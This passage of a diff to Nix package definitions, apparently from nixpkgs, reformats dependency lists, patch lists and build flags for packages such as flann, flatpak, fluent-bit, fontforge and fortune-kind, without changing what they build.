+    (lib.cmakeFeature "Qt5_DIR" "${libsForQt5.qtbase.dev}/lib/cmake/Qt5")
+  ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      libsForQt5.qttools
-      libsForQt5.qtsvg
-      libsForQt5.wrapQtAppsHook
-      makeBinaryWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      imagemagick
-      libicns
-    ];
+  nativeBuildInputs = [
+    cmake
+    libsForQt5.qttools
+    libsForQt5.qtsvg
+    libsForQt5.wrapQtAppsHook
+    makeBinaryWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    imagemagick
+    libicns
+  ];
 
   buildInputs = [
     libsForQt5.qtbase
diff --git a/pkgs/by-name/fl/flann/package.nix b/pkgs/by-name/fl/flann/package.nix
index d68def287d01..40d4f54fc45b 100644
--- a/pkgs/by-name/fl/flann/package.nix
+++ b/pkgs/by-name/fl/flann/package.nix
@@ -22,38 +22,37 @@ stdenv.mkDerivation rec {
     sha256 = "13lg9nazj5s9a41j61vbijy04v6839i67lqd925xmxsbybf36gjc";
   };
 
-  patches =
-    [
-      # Patch HDF5_INCLUDE_DIR -> HDF_INCLUDE_DIRS.
-      (fetchpatch {
-        url = "https://salsa.debian.org/science-team/flann/-/raw/debian/1.9.1+dfsg-9/debian/patches/0001-Updated-fix-cmake-hdf5.patch";
-        sha256 = "yM1ONU4mu6lctttM5YcSTg8F344TNUJXwjxXLqzr5Pk=";
-      })
-      # Patch no-source library workaround that breaks on CMake > 3.11.
-      (fetchpatch {
-        url = "https://salsa.debian.org/science-team/flann/-/raw/debian/1.9.1+dfsg-9/debian/patches/0001-src-cpp-fix-cmake-3.11-build.patch";
-        sha256 = "REsBnbe6vlrZ+iCcw43kR5wy2o6q10RM73xjW5kBsr4=";
-      })
-    ]
-    ++ lib.optionals (!stdenv.cc.isClang) [
-      # Avoid the bundled version of LZ4 and instead use the system one.
-      (fetchpatch {
-        url = "https://salsa.debian.org/science-team/flann/-/raw/debian/1.9.1+dfsg-9/debian/patches/0003-Use-system-version-of-liblz4.patch";
-        sha256 = "xi+GyFn9PEjLgbJeAIEmsbp7ut9G9KIBkVulyT3nfsg=";
-      })
-      # Fix LZ4 string separator issue, see: https://github.com/flann-lib/flann/pull/480
-      (fetchpatch {
-        url = "https://github.com/flann-lib/flann/commit/25eb56ec78472bd419a121c6905095a793cf8992.patch";
-        sha256 = "qt8h576Gn8uR7+T9u9bEBIRz6e6AoTKpa1JfdZVvW9s=";
-      })
-    ]
-    ++ lib.optionals stdenv.cc.isClang [
-      # Fix build with Clang 16.
-      (fetchpatch {
-        url = "https://github.com/flann-lib/flann/commit/be80cefa69b314a3d9e1ab971715e84145863ebb.patch";
-        hash = "sha256-4SUKzQCm0Sx8N43Z6ShuMbgbbe7q8b2Ibk3WgkB0qa4=";
-      })
-    ];
+  patches = [
+    # Patch HDF5_INCLUDE_DIR -> HDF_INCLUDE_DIRS.
+    (fetchpatch {
+      url = "https://salsa.debian.org/science-team/flann/-/raw/debian/1.9.1+dfsg-9/debian/patches/0001-Updated-fix-cmake-hdf5.patch";
+      sha256 = "yM1ONU4mu6lctttM5YcSTg8F344TNUJXwjxXLqzr5Pk=";
+    })
+    # Patch no-source library workaround that breaks on CMake > 3.11.
+    (fetchpatch {
+      url = "https://salsa.debian.org/science-team/flann/-/raw/debian/1.9.1+dfsg-9/debian/patches/0001-src-cpp-fix-cmake-3.11-build.patch";
+      sha256 = "REsBnbe6vlrZ+iCcw43kR5wy2o6q10RM73xjW5kBsr4=";
+    })
+  ]
+  ++ lib.optionals (!stdenv.cc.isClang) [
+    # Avoid the bundled version of LZ4 and instead use the system one.
+    (fetchpatch {
+      url = "https://salsa.debian.org/science-team/flann/-/raw/debian/1.9.1+dfsg-9/debian/patches/0003-Use-system-version-of-liblz4.patch";
+      sha256 = "xi+GyFn9PEjLgbJeAIEmsbp7ut9G9KIBkVulyT3nfsg=";
+    })
+    # Fix LZ4 string separator issue, see: https://github.com/flann-lib/flann/pull/480
+    (fetchpatch {
+      url = "https://github.com/flann-lib/flann/commit/25eb56ec78472bd419a121c6905095a793cf8992.patch";
+      sha256 = "qt8h576Gn8uR7+T9u9bEBIRz6e6AoTKpa1JfdZVvW9s=";
+    })
+  ]
+  ++ lib.optionals stdenv.cc.isClang [
+    # Fix build with Clang 16.
+    (fetchpatch {
+      url = "https://github.com/flann-lib/flann/commit/be80cefa69b314a3d9e1ab971715e84145863ebb.patch";
+      hash = "sha256-4SUKzQCm0Sx8N43Z6ShuMbgbbe7q8b2Ibk3WgkB0qa4=";
+    })
+  ];
 
   cmakeFlags = [
     "-DBUILD_EXAMPLES:BOOL=OFF"
diff --git a/pkgs/by-name/fl/flashprog/package.nix b/pkgs/by-name/fl/flashprog/package.nix
index 446061807a86..cded942f65fd 100644
--- a/pkgs/by-name/fl/flashprog/package.nix
+++ b/pkgs/by-name/fl/flashprog/package.nix
@@ -31,20 +31,19 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libftdi1
-      libusb1
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      pciutils
-    ]
-    ++ lib.optionals (withJlink) [
-      libjaylink
-    ]
-    ++ lib.optionals (withGpio) [
-      libgpiod
-    ];
+  buildInputs = [
+    libftdi1
+    libusb1
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    pciutils
+  ]
+  ++ lib.optionals (withJlink) [
+    libjaylink
+  ]
+  ++ lib.optionals (withGpio) [
+    libgpiod
+  ];
 
   postPatch = ''
     # Remove these rules from flashprog to avoid conflicts with libftdi
diff --git a/pkgs/by-name/fl/flashrom/package.nix b/pkgs/by-name/fl/flashrom/package.nix
index 77ea39d34128..bb4ab9269b8e 100644
--- a/pkgs/by-name/fl/flashrom/package.nix
+++ b/pkgs/by-name/fl/flashrom/package.nix
@@ -41,15 +41,14 @@ stdenv.mkDerivation (finalAttrs: {
     sphinx
     bash-completion
   ];
-  buildInputs =
-    [
-      openssl
-      cmocka
-      libftdi1
-      libusb1
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ pciutils ]
-    ++ lib.optional jlinkSupport libjaylink;
+  buildInputs = [
+    openssl
+    cmocka
+    libftdi1
+    libusb1
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ pciutils ]
+  ++ lib.optional jlinkSupport libjaylink;
 
   postPatch = ''
     substituteInPlace util/flashrom_udev.rules \
diff --git a/pkgs/by-name/fl/flatpak/package.nix b/pkgs/by-name/fl/flatpak/package.nix
index 382b91393d8d..6412d8166338 100644
--- a/pkgs/by-name/fl/flatpak/package.nix
+++ b/pkgs/by-name/fl/flatpak/package.nix
@@ -83,66 +83,64 @@ stdenv.mkDerivation (finalAttrs: {
   version = "1.16.1";
 
   # TODO: split out lib once we figure out what to do with triggerdir
-  outputs =
-    [
-      "out"
-      "dev"
-    ]
-    ++ lib.optionals withDocbookDocs [
-      "doc"
-    ]
-    ++ lib.optionals withGtkDoc [
-      "devdoc"
-    ]
-    ++ lib.optional finalAttrs.doCheck "installedTests"
-    ++ lib.optional withMan "man";
+  outputs = [
+    "out"
+    "dev"
+  ]
+  ++ lib.optionals withDocbookDocs [
+    "doc"
+  ]
+  ++ lib.optionals withGtkDoc [
+    "devdoc"
+  ]
+  ++ lib.optional finalAttrs.doCheck "installedTests"
+  ++ lib.optional withMan "man";
 
   src = fetchurl {
     url = "https://github.com/flatpak/flatpak/releases/download/${finalAttrs.version}/flatpak-${finalAttrs.version}.tar.xz";
     hash = "sha256-K0fo8tkNNdKTOe144abquzbu+pz6WlyjsNHydQLENnU=";
   };
 
-  patches =
-    [
-      # Use flatpak from PATH to avoid references to `/nix/store` in `/desktop` files.
-      # Applications containing `DBusActivatable` entries should be able to find the flatpak binary.
-      # https://github.com/NixOS/nixpkgs/issues/138956
-      ./binary-path.patch
+  patches = [
+    # Use flatpak from PATH to avoid references to `/nix/store` in `/desktop` files.
+    # Applications containing `DBusActivatable` entries should be able to find the flatpak binary.
+    # https://github.com/NixOS/nixpkgs/issues/138956
+    ./binary-path.patch
 
-      # Try mounting fonts and icons from NixOS locations if FHS locations don't exist.
-      # https://github.com/NixOS/nixpkgs/issues/119433
-      ./fix-fonts-icons.patch
+    # Try mounting fonts and icons from NixOS locations if FHS locations don't exist.
+    # https://github.com/NixOS/nixpkgs/issues/119433
+    ./fix-fonts-icons.patch
 
-      # Nix environment hacks should not leak into the apps.
-      # https://github.com/NixOS/nixpkgs/issues/53441
-      ./unset-env-vars.patch
+    # Nix environment hacks should not leak into the apps.
+    # https://github.com/NixOS/nixpkgs/issues/53441
+    ./unset-env-vars.patch
 
-      # The icon validator needs to access the gdk-pixbuf loaders in the Nix store
-      # and cannot bind FHS paths since those are not available on NixOS.
-      finalAttrs.passthru.icon-validator-patch
-    ]
-    ++ lib.optionals finalAttrs.doCheck [
-      # Hardcode paths used by tests and change test runtime generation to use files from Nix store.
-      # https://github.com/flatpak/flatpak/issues/1460
-      (replaceVars ./fix-test-paths.patch {
-        inherit
-          coreutils
-          gettext
-          gtk3
-          socat
-          ;
-        dfu = desktop-file-utils;
-        hicolorIconTheme = hicolor-icon-theme;
-        smi = shared-mime-info;
-      })
-    ]
-    ++ lib.optionals withP11Kit [
-      # Hardcode p11-kit path used by Flatpak itself.
-      # If disabled, will have to be on PATH.
-      (replaceVars ./fix-paths.patch {
-        p11kit = lib.getExe p11-kit;
-      })
-    ];
+    # The icon validator needs to access the gdk-pixbuf loaders in the Nix store
+    # and cannot bind FHS paths since those are not available on NixOS.
+    finalAttrs.passthru.icon-validator-patch
+  ]
+  ++ lib.optionals finalAttrs.doCheck [
+    # Hardcode paths used by tests and change test runtime generation to use files from Nix store.
+    # https://github.com/flatpak/flatpak/issues/1460
+    (replaceVars ./fix-test-paths.patch {
+      inherit
+        coreutils
+        gettext
+        gtk3
+        socat
+        ;
+      dfu = desktop-file-utils;
+      hicolorIconTheme = hicolor-icon-theme;
+      smi = shared-mime-info;
+    })
+  ]
+  ++ lib.optionals withP11Kit [
+    # Hardcode p11-kit path used by Flatpak itself.
+    # If disabled, will have to be on PATH.
+    (replaceVars ./fix-paths.patch {
+      p11kit = lib.getExe p11-kit;
+    })
+  ];
 
   # Fixup shebangs in some scripts
   #
@@ -159,53 +157,51 @@ stdenv.mkDerivation (finalAttrs: {
 
   depsBuildBuild = [ pkg-config ];
 
-  nativeBuildInputs =
-    [
-      (python3.pythonOnBuildForHost.withPackages (p: [ p.pyparsing ]))
-      bison
-      glib
-      meson
-      ninja
-      pkg-config
-      validatePkgConfig
-      wayland-scanner
-      wrapGAppsNoGuiHook
-    ]
-    ++ lib.optional withGtkDoc gtk-doc
-    ++ lib.optional withIntrospection gobject-introspection
-    ++ lib.optional withMan libxslt
-    ++ lib.optional withSELinuxModule bzip2
-    ++ lib.optionals withDocbookDocs [
-      docbook-xsl-nons
-      docbook_xml_dtd_45
-      xmlto
-    ];
+  nativeBuildInputs = [
+    (python3.pythonOnBuildForHost.withPackages (p: [ p.pyparsing ]))
+    bison
+    glib
+    meson
+    ninja
+    pkg-config
+    validatePkgConfig
+    wayland-scanner
+    wrapGAppsNoGuiHook
+  ]
+  ++ lib.optional withGtkDoc gtk-doc
+  ++ lib.optional withIntrospection gobject-introspection
+  ++ lib.optional withMan libxslt
+  ++ lib.optional withSELinuxModule bzip2
+  ++ lib.optionals withDocbookDocs [
+    docbook-xsl-nons
+    docbook_xml_dtd_45
+    xmlto
+  ];
 
-  buildInputs =
-    [
-      appstream
-      curl
-      fuse3
-      gdk-pixbuf
-      gpgme
-      gsettings-desktop-schemas
-      json-glib
-      libarchive
-      libcap
-      librsvg # for flatpak-validate-icon
-      libseccomp
-      libxml2
-      python3
-      wayland
-      wayland-protocols
-      xorg.libXau
-      zstd
-    ]
-    ++ lib.optional withDconf dconf
-    ++ lib.optional withGlibNetworking glib-networking
-    ++ lib.optional withMalcontent malcontent
-    ++ lib.optional withPolkit polkit
-    ++ lib.optional withSystemd systemd;
+  buildInputs = [
+    appstream
+    curl
+    fuse3
+    gdk-pixbuf
+    gpgme
+    gsettings-desktop-schemas
+    json-glib
+    libarchive
+    libcap
+    librsvg # for flatpak-validate-icon
+    libseccomp
+    libxml2
+    python3
+    wayland
+    wayland-protocols
+    xorg.libXau
+    zstd
+  ]
+  ++ lib.optional withDconf dconf
+  ++ lib.optional withGlibNetworking glib-networking
+  ++ lib.optional withMalcontent malcontent
+  ++ lib.optional withPolkit polkit
+  ++ lib.optional withSystemd systemd;
 
   # Required by flatpak.pc
   propagatedBuildInputs = [
diff --git a/pkgs/by-name/fl/flatter/package.nix b/pkgs/by-name/fl/flatter/package.nix
index 8af87f3f2809..d1e69a658fe0 100644
--- a/pkgs/by-name/fl/flatter/package.nix
+++ b/pkgs/by-name/fl/flatter/package.nix
@@ -29,17 +29,16 @@ stdenv.mkDerivation {
     cmake
   ];
 
-  buildInputs =
-    [
-      blas
-      gmp
-      mpfr
-      fplll
-      eigen
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      llvmPackages.openmp
-    ];
+  buildInputs = [
+    blas
+    gmp
+    mpfr
+    fplll
+    eigen
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    llvmPackages.openmp
+  ];
 
   passthru.updateScript = unstableGitUpdater { };
 
diff --git a/pkgs/by-name/fl/flet-client-flutter/package.nix b/pkgs/by-name/fl/flet-client-flutter/package.nix
index 460e6af4cfa3..b4e7a8d93722 100644
--- a/pkgs/by-name/fl/flet-client-flutter/package.nix
+++ b/pkgs/by-name/fl/flet-client-flutter/package.nix
@@ -47,19 +47,18 @@ flutter327.buildFlutterApplication rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      mpv-unwrapped
-      gst_all_1.gst-libav
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-vaapi
-      gst_all_1.gstreamer
-      libunwind
-      orc
-      mimalloc
-    ]
-    ++ mpv-unwrapped.buildInputs
-    ++ libplacebo.buildInputs;
+  buildInputs = [
+    mpv-unwrapped
+    gst_all_1.gst-libav
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-vaapi
+    gst_all_1.gstreamer
+    libunwind
+    orc
+    mimalloc
+  ]
+  ++ mpv-unwrapped.buildInputs
+  ++ libplacebo.buildInputs;
 
   passthru = {
     updateScript = _experimental-update-script-combinators.sequence [
diff --git a/pkgs/by-name/fl/flips/package.nix b/pkgs/by-name/fl/flips/package.nix
index c7a629ca7a42..f67902b8d945 100644
--- a/pkgs/by-name/fl/flips/package.nix
+++ b/pkgs/by-name/fl/flips/package.nix
@@ -24,14 +24,14 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [
     pkg-config
-  ] ++ lib.optional withGTK3 wrapGAppsHook3;
+  ]
+  ++ lib.optional withGTK3 wrapGAppsHook3;
 
-  buildInputs =
-    [
-      libdivsufsort
-    ]
-    ++ lib.optional withGTK3 gtk3
-    ++ lib.optional (withGTK3 && stdenv.hostPlatform.isDarwin) llvmPackages.openmp;
+  buildInputs = [
+    libdivsufsort
+  ]
+  ++ lib.optional withGTK3 gtk3
+  ++ lib.optional (withGTK3 && stdenv.hostPlatform.isDarwin) llvmPackages.openmp;
 
   patches = [ ./use-system-libdivsufsort.patch ];
 
diff --git a/pkgs/by-name/fl/flite/package.nix b/pkgs/by-name/fl/flite/package.nix
index 641697bf286a..9c3b7078489a 100644
--- a/pkgs/by-name/fl/flite/package.nix
+++ b/pkgs/by-name/fl/flite/package.nix
@@ -57,7 +57,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   configureFlags = [
     "--enable-shared"
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ "--with-audio=${audioBackend}" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ "--with-audio=${audioBackend}" ];
 
   # main/Makefile creates and removes 'flite_voice_list.c' from multiple targets:
   # make[1]: *** No rule to make target 'flite_voice_list.c', needed by 'all'.  Stop
diff --git a/pkgs/by-name/fl/flowtime/package.nix b/pkgs/by-name/fl/flowtime/package.nix
index 534c57904241..c33c3a21c9b8 100644
--- a/pkgs/by-name/fl/flowtime/package.nix
+++ b/pkgs/by-name/fl/flowtime/package.nix
@@ -38,16 +38,15 @@ stdenv.mkDerivation rec {
     appstream-glib
   ];
 
-  buildInputs =
-    [
-      libadwaita
-      libxml2
-      libportal-gtk4
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-    ]);
+  buildInputs = [
+    libadwaita
+    libxml2
+    libportal-gtk4
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+  ]);
 
   meta = with lib; {
     description = "Get what motivates you done, without losing concentration";
diff --git a/pkgs/by-name/fl/fluent-bit/package.nix b/pkgs/by-name/fl/fluent-bit/package.nix
index 796fd3d9ef78..f950612128db 100644
--- a/pkgs/by-name/fl/fluent-bit/package.nix
+++ b/pkgs/by-name/fl/fluent-bit/package.nix
@@ -60,37 +60,35 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      arrow-glib
-      c-ares
-      jemalloc
-      libbacktrace
-      libpq
-      libyaml
-      luajit
-      msgpack-c
-      nghttp2.dev
-      openssl
-      rdkafka
-      sqlite.dev
-      zstd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # libbpf doesn't build for Darwin yet.
-      libbpf
-      systemd
-    ];
+  buildInputs = [
+    arrow-glib
+    c-ares
+    jemalloc
+    libbacktrace
+    libpq
+    libyaml
+    luajit
+    msgpack-c
+    nghttp2.dev
+    openssl
+    rdkafka
+    sqlite.dev
+    zstd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # libbpf doesn't build for Darwin yet.
+    libbpf
+    systemd
+  ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "FLB_RELEASE" true)
-      (lib.cmakeBool "FLB_PREFER_SYSTEM_LIBS" true)
-    ]
-    ++ lib.optionals stdenv.cc.isClang [
-      # `FLB_SECURITY` causes bad linker options for Clang to be set.
-      (lib.cmakeBool "FLB_SECURITY" false)
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "FLB_RELEASE" true)
+    (lib.cmakeBool "FLB_PREFER_SYSTEM_LIBS" true)
+  ]
+  ++ lib.optionals stdenv.cc.isClang [
+    # `FLB_SECURITY` causes bad linker options for Clang to be set.
+    (lib.cmakeBool "FLB_SECURITY" false)
+  ];
 
   # `src/CMakeLists.txt` installs fluent-bit's systemd unit files at the path in the `SYSTEMD_UNITDIR` CMake variable.
   #
diff --git a/pkgs/by-name/fl/fluidsynth/package.nix b/pkgs/by-name/fl/fluidsynth/package.nix
index 653da761f4d6..0e962cb297e0 100644
--- a/pkgs/by-name/fl/fluidsynth/package.nix
+++ b/pkgs/by-name/fl/fluidsynth/package.nix
@@ -35,16 +35,15 @@ stdenv.mkDerivation (finalAttrs: {
     cmake
   ];
 
-  buildInputs =
-    [
-      glib
-      libsndfile
-      libjack2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      libpulseaudio
-    ];
+  buildInputs = [
+    glib
+    libsndfile
+    libjack2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    libpulseaudio
+  ];
 
   cmakeFlags = [
     "-Denable-framework=off"
diff --git a/pkgs/by-name/fo/folks/package.nix b/pkgs/by-name/fo/folks/package.nix
index 1e62fa5100c1..3ccadbae1430 100644
--- a/pkgs/by-name/fo/folks/package.nix
+++ b/pkgs/by-name/fo/folks/package.nix
@@ -41,31 +41,29 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-IxGzc1XDUfM/Fj/cOUh0oioKBoLDGUk9bYpuQgcRQV8=";
   };
 
-  nativeBuildInputs =
-    [
-      gettext
-      gobject-introspection
-      gtk-doc
-      docbook-xsl-nons
-      docbook_xml_dtd_43
-      meson
-      ninja
-      pkg-config
-      vala
-    ]
-    ++ lib.optionals telepathySupport [
-      python3
-    ];
+  nativeBuildInputs = [
+    gettext
+    gobject-introspection
+    gtk-doc
+    docbook-xsl-nons
+    docbook_xml_dtd_43
+    meson
+    ninja
+    pkg-config
+    vala
+  ]
+  ++ lib.optionals telepathySupport [
+    python3
+  ];
 
-  buildInputs =
-    [
-      dbus-glib
-      evolution-data-server-gtk4 # UI part not needed, using gtk4 version to reduce system closure.
-      readline
-    ]
-    ++ lib.optionals telepathySupport [
-      telepathy-glib
-    ];
+  buildInputs = [
+    dbus-glib
+    evolution-data-server-gtk4 # UI part not needed, using gtk4 version to reduce system closure.
+    readline
+  ]
+  ++ lib.optionals telepathySupport [
+    telepathy-glib
+  ];
 
   propagatedBuildInputs = [
     glib
diff --git a/pkgs/by-name/fo/folly/package.nix b/pkgs/by-name/fo/folly/package.nix
index 22ba13014094..880408110382 100644
--- a/pkgs/by-name/fo/folly/package.nix
+++ b/pkgs/by-name/fo/folly/package.nix
@@ -79,16 +79,15 @@ stdenv.mkDerivation (finalAttrs: {
     libunwind
   ];
 
-  propagatedBuildInputs =
-    [
-      # `folly-config.cmake` pulls these in.
-      boost
-      fmt_11
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # jemalloc headers are required in include/folly/portability/Malloc.h
-      jemalloc
-    ];
+  propagatedBuildInputs = [
+    # `folly-config.cmake` pulls these in.
+    boost
+    fmt_11
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # jemalloc headers are required in include/folly/portability/Malloc.h
+    jemalloc
+  ];
 
   checkInputs = [
     gtest
diff --git a/pkgs/by-name/fo/font-manager/package.nix b/pkgs/by-name/fo/font-manager/package.nix
index 243c36a26c87..7a23de4859a4 100644
--- a/pkgs/by-name/fo/font-manager/package.nix
+++ b/pkgs/by-name/fo/font-manager/package.nix
@@ -53,20 +53,19 @@ stdenv.mkDerivation rec {
     gobject-introspection
   ];
 
-  buildInputs =
-    [
-      libxml2
-      json-glib
-      sqlite
-      gsettings-desktop-schemas # for font settings
-      gtk4
-      adwaita-icon-theme
-    ]
-    ++ lib.optionals withWebkit [
-      glib-networking # for SSL so that Google Fonts can load
-      libsoup_3
-      webkitgtk_6_0
-    ];
+  buildInputs = [
+    libxml2
+    json-glib
+    sqlite
+    gsettings-desktop-schemas # for font settings
+    gtk4
+    adwaita-icon-theme
+  ]
+  ++ lib.optionals withWebkit [
+    glib-networking # for SSL so that Google Fonts can load
+    libsoup_3
+    webkitgtk_6_0
+  ];
 
   mesonFlags = [
     "-Dreproducible=true" # Do not hardcode build directory…
diff --git a/pkgs/by-name/fo/fontforge/package.nix b/pkgs/by-name/fo/fontforge/package.nix
index 86d50584db48..4145a509a2f0 100644
--- a/pkgs/by-name/fo/fontforge/package.nix
+++ b/pkgs/by-name/fo/fontforge/package.nix
@@ -96,37 +96,37 @@ stdenv.mkDerivation rec {
     cmake
   ];
 
-  buildInputs =
-    [
-      readline
-      uthash
-      woff2
-      zeromq
-      py
-      freetype
-      zlib
-      glib
-      giflib
-      libpng
-      libjpeg
-      libtiff
-      libxml2
-    ]
-    ++ lib.optionals withPython [ py ]
-    ++ lib.optionals withSpiro [ libspiro ]
-    ++ lib.optionals withGUI [
-      gtk3
-      cairo
-      pango
-    ];
+  buildInputs = [
+    readline
+    uthash
+    woff2
+    zeromq
+    py
+    freetype
+    zlib
+    glib
+    giflib
+    libpng
+    libjpeg
+    libtiff
+    libxml2
+  ]
+  ++ lib.optionals withPython [ py ]
+  ++ lib.optionals withSpiro [ libspiro ]
+  ++ lib.optionals withGUI [
+    gtk3
+    cairo
+    pango
+  ];
 
-  cmakeFlags =
-    [ "-DCMAKE_BUILD_WITH_INSTALL_RPATH=ON" ]
-    ++ lib.optional (!withSpiro) "-DENABLE_LIBSPIRO=OFF"
-    ++ lib.optional (!withGUI) "-DENABLE_GUI=OFF"
-    ++ lib.optional (!withGTK) "-DENABLE_X11=ON"
-    ++ lib.optional (!withPython) "-DENABLE_PYTHON_SCRIPTING=OFF"
-    ++ lib.optional withExtras "-DENABLE_FONTFORGE_EXTRAS=ON";
+  cmakeFlags = [
+    "-DCMAKE_BUILD_WITH_INSTALL_RPATH=ON"
+  ]
+  ++ lib.optional (!withSpiro) "-DENABLE_LIBSPIRO=OFF"
+  ++ lib.optional (!withGUI) "-DENABLE_GUI=OFF"
+  ++ lib.optional (!withGTK) "-DENABLE_X11=ON"
+  ++ lib.optional (!withPython) "-DENABLE_PYTHON_SCRIPTING=OFF"
+  ++ lib.optional withExtras "-DENABLE_FONTFORGE_EXTRAS=ON";
 
   preConfigure = ''
     # The way $version propagates to $version of .pe-scripts (https://github.com/dejavu-fonts/dejavu-fonts/blob/358190f/scripts/generate.pe#L19)
diff --git a/pkgs/by-name/fo/foomatic-db-engine/package.nix b/pkgs/by-name/fo/foomatic-db-engine/package.nix
index 32ceaf6bf8fb..59f70a550469 100644
--- a/pkgs/by-name/fo/foomatic-db-engine/package.nix
+++ b/pkgs/by-name/fo/foomatic-db-engine/package.nix
@@ -37,21 +37,22 @@ perlPackages.buildPerlPackage rec {
     perlPackages.XMLLibXML
   ];
 
-  buildInputs =
-    [ curl ]
-    # provide some "cups-*" commands to `foomatic-{configure,printjob}`
-    # so that they can manage a local cups server (add queues, add jobs...)
-    ++ lib.optionals withCupsAccess [
-      cups
-      cups-filters
-    ]
-    # the commands `foomatic-{configure,getpjloptions}` need
-    # netcat if they are used to query or alter a network
-    # printer via AppSocket/HP JetDirect protocol
-    ++ lib.optional withSocketAccess netcat-gnu
-    # `foomatic-configure` can be used to access printers that are
-    # shared via the SMB protocol, but it needs the `smbclient` binary
-    ++ lib.optional withSMBAccess samba;
+  buildInputs = [
+    curl
+  ]
+  # provide some "cups-*" commands to `foomatic-{configure,printjob}`
+  # so that they can manage a local cups server (add queues, add jobs...)
+  ++ lib.optionals withCupsAccess [
+    cups
+    cups-filters
+  ]
+  # the commands `foomatic-{configure,getpjloptions}` need
+  # netcat if they are used to query or alter a network
+  # printer via AppSocket/HP JetDirect protocol
+  ++ lib.optional withSocketAccess netcat-gnu
+  # `foomatic-configure` can be used to access printers that are
+  # shared via the SMB protocol, but it needs the `smbclient` binary
+  ++ lib.optional withSMBAccess samba;
 
   nativeBuildInputs = [
     autoconf
diff --git a/pkgs/by-name/fo/foot/package.nix b/pkgs/by-name/fo/foot/package.nix
index 65a67a135016..02dacc7946f1 100644
--- a/pkgs/by-name/fo/foot/package.nix
+++ b/pkgs/by-name/fo/foot/package.nix
@@ -113,18 +113,17 @@ stdenv.mkDerivation {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      wayland-scanner
-      meson
-      ninja
-      ncurses
-      scdoc
-      pkg-config
-    ]
-    ++ lib.optionals (compilerName == "clang") [
-      stdenv.cc.cc.libllvm.out
-    ];
+  nativeBuildInputs = [
+    wayland-scanner
+    meson
+    ninja
+    ncurses
+    scdoc
+    pkg-config
+  ]
+  ++ lib.optionals (compilerName == "clang") [
+    stdenv.cc.cc.libllvm.out
+  ];
 
   buildInputs = [
     tllist
diff --git a/pkgs/by-name/fo/footage/package.nix b/pkgs/by-name/fo/footage/package.nix
index bf636a7e2978..4a27a153b753 100644
--- a/pkgs/by-name/fo/footage/package.nix
+++ b/pkgs/by-name/fo/footage/package.nix
@@ -60,30 +60,29 @@ stdenv.mkDerivation rec {
     wrapGAppsHook4
   ];
 
-  buildInputs =
-    [
-      glib
-      gtk4
-      libadwaita
-      a52dec
-      fdk_aac
-      ffmpeg
-      x264
-      x265
-      vo-aacenc
-      svt-av1
-      libmpeg2
-    ]
-    ++ (with gst_all_1; [
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-rs
-      gst-plugins-good
-      gst-plugins-bad
-      gst-plugins-ugly
-      gstreamer
-      gst-editing-services
-    ]);
+  buildInputs = [
+    glib
+    gtk4
+    libadwaita
+    a52dec
+    fdk_aac
+    ffmpeg
+    x264
+    x265
+    vo-aacenc
+    svt-av1
+    libmpeg2
+  ]
+  ++ (with gst_all_1; [
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-rs
+    gst-plugins-good
+    gst-plugins-bad
+    gst-plugins-ugly
+    gstreamer
+    gst-editing-services
+  ]);
 
   preFixup = ''
     gappsWrapperArgs+=(
diff --git a/pkgs/by-name/fo/fortune-kind/package.nix b/pkgs/by-name/fo/fortune-kind/package.nix
index 7f7ce4993ff7..38f0b63a5d0b 100644
--- a/pkgs/by-name/fo/fortune-kind/package.nix
+++ b/pkgs/by-name/fo/fortune-kind/package.nix
@@ -49,14 +49,13 @@ rustPlatform.buildRustPackage rec {
     cp -r $src/fortunes $out/fortunes;
   '';
 
-  postInstall =
-    ''
-      wrapProgram $out/bin/fortune-kind \
-        --set-default FORTUNE_DIR "$out/fortunes"
-    ''
-    + lib.optionalString fortuneAlias ''
-      ln -s fortune-kind $out/bin/fortune
-    '';
+  postInstall = ''
+    wrapProgram $out/bin/fortune-kind \
+      --set-default FORTUNE_DIR "$out/fortunes"
+  ''
+  + lib.optionalString fortuneAlias ''
+    ln -s fortune-kind $out/bin/fortune
+  '';
 
   meta = with lib; {
     description = "Kinder, curated fortune, written in rust";
diff --git a/pkgs/by-name/fo/fortune/package.nix b/pkgs/by-name/fo/fortune/package.nix
index 33e607f389a7..ab889f64e5b3 100644
--- a/pkgs/by-name/fo/fortune/package.nix
+++ b/pkgs/by-name/fo/fortune/package.nix
@@ -21,22 +21,22 @@ stdenv.mkDerivation rec {
